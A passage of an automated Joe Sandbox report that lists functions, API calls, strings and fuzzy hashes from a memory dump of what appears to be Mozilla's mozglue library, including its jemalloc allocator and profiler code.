Part of subcall function 6CB16180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB16250
Part of subcall function 6CB16180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB16292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB1441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB14448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB1484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB14863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB14878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB14896
free.MOZGLUE ref: 6CB1489F

Strings

, xrefs: 6CB14CD2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 5ab72bca03ecfefb0c2f757e88f01d038221f644377f2cf497274f7a743a0015
Instruction ID: d84ee208338028270649df898a79f0e05ccb7ef3e981f19e848b282443083975
Opcode Fuzzy Hash: 5ab72bca03ecfefb0c2f757e88f01d038221f644377f2cf497274f7a743a0015
Instruction Fuzzy Hash: CEF23A74908B808FC735CF28C08469AFBF1FF89358F158A5ED99997711DB319896CB82

Function 6CAC64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAC64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAC64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAC6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAC6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAC652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC671C
GetCurrentProcess.KERNEL32 ref: 6CAC6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAC672F
GetCurrentProcess.KERNEL32 ref: 6CAC6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAC6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAC6A80
GetSystemInfo.KERNEL32(?), ref: 6CAC6ABE
__Init_thread_footer.LIBCMT ref: 6CAC6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAC6798
nvdxgiwrap.dll, xrefs: 6CAC6513
nvd3d9wrap.dll, xrefs: 6CAC6500
_etoured.dll, xrefs: 6CAC64ED
detoured.dll, xrefs: 6CAC64DA
user32.dll, xrefs: 6CAC6526

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 1ba74c730150da8c86d0dae498ba06a22a5b7c437b53b201be6bff6fc13a3f44
Instruction ID: acf29f638cd3406cc12f90e6fdd6f15749f5e7d25bd557b1867eaef224c841e0
Opcode Fuzzy Hash: 1ba74c730150da8c86d0dae498ba06a22a5b7c437b53b201be6bff6fc13a3f44
Instruction Fuzzy Hash: 21F1E570A052299FDB20DF64CD48BEAB7B4AF45318F184299D81DA7781D731AEC4CF92

Function 6CAE60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAE60C9
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAE610D
EnterCriticalSection.KERNEL32(?), ref: 6CAE618C
LeaveCriticalSection.KERNEL32(?), ref: 6CAE61F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CAE6B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE6BC7, 6CAE6F97, 6CAE6FB2
Compile-time page size does not divide the runtime one., xrefs: 6CAE6AAE
MALLOC_OPTIONS, xrefs: 6CAE6888
MOZ_CRASH(), xrefs: 6CAE6AB8
<jemalloc>, xrefs: 6CAE6AA9, 6CAE6B59

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 8283e00437784d09106b8f603fcfcc51c412b80b70a91a6ac17684a6c1907681
Instruction ID: 6a8325fa6def4940371575cf74319805564cf2976726402170505eba90193d19
Opcode Fuzzy Hash: 8283e00437784d09106b8f603fcfcc51c412b80b70a91a6ac17684a6c1907681
Instruction Fuzzy Hash: 3CA2CC71A057158FD718CF18C540719BBE1FB89328F29CA6DEA698B791C730E881DBC1

Function 6CB1C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB1C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB1C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB1C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB1CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB1DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1E472

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 7d3872a2825c13505136f670cd96e4b2c0994778f96c32ba51a09a35d12fcc8b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 2933AE71E0429ACFCB04CFA8C8806EDBBF2FF49310F284269D955ABB55D735A945CB90

Function 6CACFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7B8), ref: 6CACFF81
LeaveCriticalSection.KERNEL32(6CB3E7B8), ref: 6CAD022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAD0240
EnterCriticalSection.KERNEL32(6CB3E768), ref: 6CAD025B
LeaveCriticalSection.KERNEL32(6CB3E768), ref: 6CAD027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAD0D67, 6CAD0D7B, 6CAD0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CACFE99, 6CACFEB7, 6CACFED3, 6CAD0DB8, 6CAD0DD3, 6CAD19B4
<jemalloc>, xrefs: 6CAD0D62, 6CAD0D76, 6CAD0DA7

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 095973b546eaec4f76ba762b81a8235393e6ad42d8a2c09dc66d1304be8efe27
Instruction ID: 9836614f82acf9fcbc5180161e661e27607e32819beb3e0f3b4e36e54a59a801
Opcode Fuzzy Hash: 095973b546eaec4f76ba762b81a8235393e6ad42d8a2c09dc66d1304be8efe27
Instruction Fuzzy Hash: E7C2E171A057418FD714CF28C88071ABBE1FF85328F29C66DE9A98B795D771E881CB81

Function 6CB1E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB1E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB1EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB1F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB1F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB20E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB20E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB20EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB20ED4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 01374af57053161ded1fedf89c31abaf1f3a18b04c4926b2b0e71f2fb5bbe1eb
Instruction ID: 657b9d2f149bd4f931d63e7eecdbf9a37daae542a13df444576eee4c00c4e52e
Opcode Fuzzy Hash: 01374af57053161ded1fedf89c31abaf1f3a18b04c4926b2b0e71f2fb5bbe1eb
Instruction Fuzzy Hash: 6663A171E0429ACFCB04CFA8C8905EDF7B2FF89310F298269D859AB755D734A945CB90

Function 6CAF3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB17770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3E7D,?,?,?,6CAF3E7D,?,?), ref: 6CB1777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAF3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAF3F5C
VerSetConditionMask.NTDLL ref: 6CAF3F8D
VerSetConditionMask.NTDLL ref: 6CAF3F99
VerSetConditionMask.NTDLL ref: 6CAF3FA0
VerSetConditionMask.NTDLL ref: 6CAF3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAF3FB4

Strings

nvd3d9wrap.dll, xrefs: 6CAF4466
nvinit.dll, xrefs: 6CAF4479

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 47a01fbe53ea11e35f1e6d793fce11e6701862ef2aef44c4fbb93c02ac6ac2f9
Instruction ID: fe38bc7b948a06b0204f8c4c18e007c1b1804f99d2ffc1bbb985c94ea094f705
Opcode Fuzzy Hash: 47a01fbe53ea11e35f1e6d793fce11e6701862ef2aef44c4fbb93c02ac6ac2f9
Instruction Fuzzy Hash: ED52D171610B494FD715DB74CA80ABB77E9BF45204F140A2DE4A68BB42DB38F94ECB60

Function 6CADED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CADEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CADEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAE1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAE1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAE1A3E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: f2a8e752f07a5cab40082f589b9ae840f68597a231a6d7f18106d2b7e03de75c
Instruction ID: 7271d2e8016b8b86dccd881b13b4bd85025d58ff6a67c8a9491553509ec468d9
Opcode Fuzzy Hash: f2a8e752f07a5cab40082f589b9ae840f68597a231a6d7f18106d2b7e03de75c
Instruction Fuzzy Hash: 4FB33B71E00229CFCB14CFA9C890AADB7B2FF49304F1982A9D549AB755D730AD85DF90

Function 6CACFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7B8), ref: 6CACFF81
LeaveCriticalSection.KERNEL32(6CB3E7B8), ref: 6CAD022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAD0240
EnterCriticalSection.KERNEL32(6CB3E768), ref: 6CAD025B
LeaveCriticalSection.KERNEL32(6CB3E768), ref: 6CAD027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CACFE99, 6CACFEB7, 6CACFED3, 6CAD0DB8, 6CAD0DD3, 6CAD19B4, 6CAD1A10
MOZ_CRASH(), xrefs: 6CAD0CA7

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: e3d5c4d2c0aefecfc9442e525236b9128b1a0e6ffe8ae7585761f04faec09e8f
Instruction ID: a12bcccd4d42fece5a937013dba32d8986977cb48e20be0e2c9b63bf260d7906
Opcode Fuzzy Hash: e3d5c4d2c0aefecfc9442e525236b9128b1a0e6ffe8ae7585761f04faec09e8f
Instruction Fuzzy Hash: AEB2CF716057418FD714CF28C59072ABBE1BF85328F29C66DE9AA8F795D770E880CB81

Function 6CB05600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6CB05AC8, 6CB05CBB
data, xrefs: 6CB06131
expected a Count entry, xrefs: 6CB05AC3
schema, xrefs: 6CB0606D
expected a Time entry, xrefs: 6CB05CB6
name, xrefs: 6CB05E79, 6CB05E8F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: f5fbf3adbf6e228b48034ff8829190855ede68eab8430f79bca4fc44ae783ad6
Instruction ID: 607db66177e07dab7fc46ffcc3d6930b49db6416c7c1296d8c3c28e782656ee8
Opcode Fuzzy Hash: f5fbf3adbf6e228b48034ff8829190855ede68eab8430f79bca4fc44ae783ad6
Instruction Fuzzy Hash: FF922B716083818FD724CF28C4907AABBE1FFC5308F14891DE9999BB51DB34E849CB96

Function 6CB02E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB02ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB02EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB02F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB03214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB03242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB036BF

Strings

set , xrefs: 6CB036EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB0378D
get , xrefs: 6CB03205

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: f4d86f0e95516db771f29df8e960c71bde8c72fc9cfe4ab73d5f922e3f93d174
Instruction ID: ce4cd4e99f2430a394db693fbff4fe174bd65053118eaa07b8c5c623b976c292
Opcode Fuzzy Hash: f4d86f0e95516db771f29df8e960c71bde8c72fc9cfe4ab73d5f922e3f93d174
Instruction Fuzzy Hash: C03249B46083C18FD324CF24C494AAFBBE2EFC9218F54891DE59987751DB31A94ACB53

Function 6CAF7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CAF7E88
data, xrefs: 6CAF8280, 6CAF83E1
schema, xrefs: 6CAF81E3, 6CAF8311
name, xrefs: 6CAF7ECF, 6CAF8335

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 9a0bc2ec7860ebc0654b2dbad151032c2135eb37411823c816bc229c762f1fa6
Instruction ID: 011cb4d212d3fbb4fe08b5e64c50755160d98e79074d90291fc1848f00cdefde
Opcode Fuzzy Hash: 9a0bc2ec7860ebc0654b2dbad151032c2135eb37411823c816bc229c762f1fa6
Instruction Fuzzy Hash: D4E16DB1B043948BC710CF68884066BFBE9FF95314F148A2DE899D7790DBB4DD498B92

Function 6CADD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD4F2
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD50B

Part of subcall function 6CABCFE0: EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
Part of subcall function 6CABCFE0: LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD52E
EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADD6A6
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD712
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CADD82C
<jemalloc>, xrefs: 6CADD827

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2b5290bc34ab56172f7f6c269c205cfd1aef20034f118f422389373ebdb4b4be
Instruction ID: 3dd85083471c4d416c73beb83fd4a6851d60b5b84dbc783f522db672bde92660
Opcode Fuzzy Hash: 2b5290bc34ab56172f7f6c269c205cfd1aef20034f118f422389373ebdb4b4be
Instruction Fuzzy Hash: 8591E471E147518FD714CF28C59476AB7E1EB89318F1A492EE49A87A80D730F884CF91

Function 6CAD5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2
memset.VCRUNTIME140(6CB17765,000000E5,B3C09015), ref: 6CAD61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAD7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAD730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAD72E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAD72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAD7BCD, 6CAD7C1F, 6CAD7C34, 6CAD80FD
MOZ_CRASH(), xrefs: 6CAD7BA4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 451408012bdd79dffab1d0fd7a686f37b1a05d15c85e439cb2f16464f74a44b1
Instruction ID: 88005dd71f36a9fa5e180e209a88c3ee4fe8417264f009f5a86d96d1eb765cb1
Opcode Fuzzy Hash: 451408012bdd79dffab1d0fd7a686f37b1a05d15c85e439cb2f16464f74a44b1
